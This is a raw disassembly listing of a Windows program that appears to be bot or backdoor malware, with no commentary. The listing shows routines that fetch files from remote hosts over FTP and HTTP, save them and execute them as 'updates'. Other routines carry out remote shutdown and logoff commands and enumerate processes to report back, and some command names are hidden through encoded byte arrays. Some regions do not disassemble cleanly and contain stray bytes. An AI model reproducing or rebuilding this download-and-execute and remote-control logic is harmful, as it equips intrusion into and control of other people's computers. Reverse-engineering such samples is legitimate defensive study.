		mov	dword ptr [esi], offset	off_43E0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D730:				; CODE XREF: ___:00401168j
					; ___:loc_4019E7j
		push	esi
		mov	esi, ecx
		call	sub_4015C3
		test	byte ptr [esp+8], 1
		jz	short loc_41D748
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D748:				; CODE XREF: ___:0041D73Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D760	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D760
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D760	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D830	proc near		; CODE XREF: sub_401C80j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43B0F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F70
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ebx, [esi+65h]
		push	offset byte_446F70
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ecx, [esi+26h]
		push	offset byte_446F70
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D8D1
		push	offset byte_446F70
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D8C4
		push	offset byte_446F70
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D8D1


loc_41D8C4:				; CODE XREF: sub_41D830+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DF40
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D830+70j
					; sub_41D830+92j
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D95E
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41D96F


loc_41D95E:				; CODE XREF: sub_41D830+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41D96F:				; CODE XREF: sub_41D830+12Cj
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FBE
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 27E0000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DB04
		call	sub_401E06
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		call	sub_401A69
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DA1C
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DF17
; ---------------------------------------------------------------------------


loc_41DA1C:				; CODE XREF: sub_41D830+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017E4
		push	eax
		call	sub_402243
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA73
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D830+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_4016A9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DAF2
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D830+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D52
		add	esp, 4
		jmp	loc_41DD7B
; ---------------------------------------------------------------------------


loc_41DB04:				; CODE XREF: sub_41D830+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_401424
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_401424
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017E4
		push	eax
		call	sub_401A8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DB87
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0BAh
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DB87:				; CODE XREF: sub_41D830+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017E4
		push	eax
		push	ebx
		call	near ptr 71AB428Ah
		nop
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DC80
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D830+3DBj
					; sub_41D830+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DCF8
		cmp	ebp, 1000h
		jge	short loc_41DCB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DCB0:				; CODE XREF: sub_41D830+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DC80


loc_41DCB6:				; CODE XREF: sub_41D830+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_443EF8 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DCD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCB6
		jmp	short loc_41DC80
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41D830+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DCF8


loc_41DCE0:				; CODE XREF: sub_41D830+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCE0


loc_41DCF8:				; CODE XREF: sub_41D830+46Ej
					; sub_41D830+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD48
		cmp	ebp, 1000h
		jge	short loc_41DD28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DD28:				; CODE XREF: sub_41D830+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DCF8


loc_41DD2E:				; CODE XREF: sub_41D830+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD2E
		jmp	short loc_41DCF8
; ---------------------------------------------------------------------------


loc_41DD48:				; CODE XREF: sub_41D830+4E6j
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DD7B:				; CODE XREF: sub_41D830+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DE17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DF0F
		push	offset byte_446F70
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		jmp	loc_41DF0F
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41D830+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+5Ch+var_40]
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	51h
		push	edx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		call	sub_402149
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DEEA
		mov	al, byte_4478D6
		test	al, al
		jz	short loc_41DEB9
		push	offset dword_447874
		mov	ecx, offset dword_448DB0
		call	sub_401447


loc_41DEB9:				; CODE XREF: sub_41D830+678j
		mov	al, byte_44791F
		test	al, al
		jz	short loc_41DED1
		push	offset byte_44794F
		mov	ecx, offset dword_448DB0
		call	sub_401942


loc_41DED1:				; CODE XREF: sub_41D830+690j
		mov	ecx, offset dword_448DB0
		call	sub_401E5B
		push	1
		mov	byte_4E6E84, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DEEA:				; CODE XREF: sub_41D830+66Fj
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_41DF0F:				; CODE XREF: sub_41D830+597j
					; sub_41D830+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41DF17:				; CODE XREF: sub_41D830+1E7j
		push	edx


loc_41DF18:				; CODE XREF: sub_41D830+23Ej
					; sub_41D830+2BDj
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DF38:				; CODE XREF: sub_41D830+36j
					; sub_41D830+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DF40:				; CODE XREF: sub_41D830+9Cj
		push	eax
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_41D830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D830


loc_41DF4B:				; CODE XREF: sub_41D830+44Bj
					; sub_41D830+706j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D830
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E140	proc near		; CODE XREF: sub_401B90j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41E140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E31B
		push	offset dword_443FFC
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 2880304h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E31B:				; CODE XREF: ___:0041E2DEj
		lea	ecx, [esi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E36A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	5
		call	near ptr 2880304h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E36A:				; CODE XREF: ___:0041E32Dj
		lea	ecx, [esi+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 2880304h


loc_41E3B1:				; CODE XREF: ___:0041E37Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E400	proc near		; CODE XREF: sub_401F5Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41E400	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E660	proc near		; CODE XREF: sub_401613j

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E660
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E7FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018D9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E7E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401703
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jz	short loc_41E7E2
		mov	ebp, dword_50F8D0


loc_41E76E:				; CODE XREF: sub_41E660+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jnz	short loc_41E76E


loc_41E7E2:				; CODE XREF: sub_41E660+62j
					; sub_41E660+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401816
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


